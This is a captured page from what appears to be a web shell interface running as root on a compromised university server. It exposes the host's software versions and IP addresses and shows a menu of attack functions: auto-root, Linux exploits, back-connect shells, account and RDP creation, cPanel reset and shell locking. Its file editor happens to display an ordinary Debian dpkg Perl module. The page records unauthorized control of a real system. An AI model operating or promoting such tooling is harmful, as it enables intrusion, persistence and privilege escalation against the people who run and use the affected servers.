Linux web-conference.aiou.edu.pk 5.4.0-205-generic #225-Ubuntu SMP Fri Jan 10 22:23:35 UTC 2025 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.133.110.63
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Dpkg /
Source /
[ HOME SHELL ]
Name
Size
Permission
Action
Package
[ DIR ]
drwxr-xr-x
Archive.pm
8.31
KB
-rw-r--r--
BinaryFiles.pm
4.91
KB
-rw-r--r--
Format.pm
4.21
KB
-rw-r--r--
Functions.pm
3.69
KB
-rw-r--r--
Package.pm
18.52
KB
-rw-r--r--
Patch.pm
22.27
KB
-rw-r--r--
Quilt.pm
11.19
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Functions.pm
# Copyright © 2008-2010, 2012-2015 Guillem Jover <guillem@debian.org> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. package Dpkg::Source::Functions; use strict; use warnings; our $VERSION = '0.01'; our @EXPORT_OK = qw( erasedir fixperms chmod_if_needed fs_time is_binary ); use Exporter qw(import); use Errno qw(ENOENT); use Dpkg::ErrorHandling; use Dpkg::Gettext; use Dpkg::IPC; sub erasedir { my $dir = shift; if (not lstat($dir)) { return if $! == ENOENT; syserr(g_('cannot stat directory %s (before removal)'), $dir); } system 'rm', '-rf', '--', $dir; subprocerr("rm -rf $dir") if $?; if (not stat($dir)) { return if $! == ENOENT; syserr(g_("unable to check for removal of directory '%s'"), $dir); } error(g_("rm -rf failed to remove '%s'"), $dir); } sub fixperms { my $dir = shift; my ($mode, $modes_set); # Unfortunately tar insists on applying our umask _to the original # permissions_ rather than mostly-ignoring the original # permissions. We fix it up with chmod -R (which saves us some # work) but we have to construct a u+/- string which is a bit # of a palaver. (Numeric doesn't work because we need [ugo]+X # and [ugo]=<stuff> doesn't work because that unsets sgid on dirs.) $mode = 0777 & ~umask; for my $i (0 .. 2) { $modes_set .= ',' if $i; $modes_set .= qw(u g o)[$i]; for my $j (0 .. 2) { $modes_set .= $mode & (0400 >> ($i * 3 + $j)) ? '+' : '-'; $modes_set .= qw(r w X)[$j]; } } system('chmod', '-R', '--', $modes_set, $dir); subprocerr("chmod -R -- $modes_set $dir") if $?; } # Only change the pathname permissions if they differ from the desired. # # To be able to build a source tree, a user needs write permissions on it, # but not necessarily ownership of those files. sub chmod_if_needed { my ($newperms, $pathname) = @_; my $oldperms = (stat $pathname)[2] & 07777; return 1 if $oldperms == $newperms; return chmod $newperms, $pathname; } # Touch the file and read the resulting mtime. # # If the file doesn't exist, create it, read the mtime and unlink it. # # Use this instead of time() when the timestamp is going to be # used to set file timestamps. This avoids confusion when an # NFS server and NFS client disagree about what time it is. sub fs_time($) { my $file = shift; my $is_temp = 0; if (not -e $file) { open(my $temp_fh, '>', $file) or syserr(g_('cannot write %s')); close($temp_fh); $is_temp = 1; } else { utime(undef, undef, $file) or syserr(g_('cannot change timestamp for %s'), $file); } stat($file) or syserr(g_('cannot read timestamp from %s'), $file); my $mtime = (stat(_))[9]; unlink($file) if $is_temp; return $mtime; } sub is_binary($) { my $file = shift; # Perform the same check as diff(1), look for a NUL character in the first # 4 KiB of the file. open my $fh, '<', $file or syserr(g_('cannot open file %s for binary detection'), $file); read $fh, my $buf, 4096, 0; my $res = index $buf, "\0"; close $fh; return $res >= 0; } 1;
Close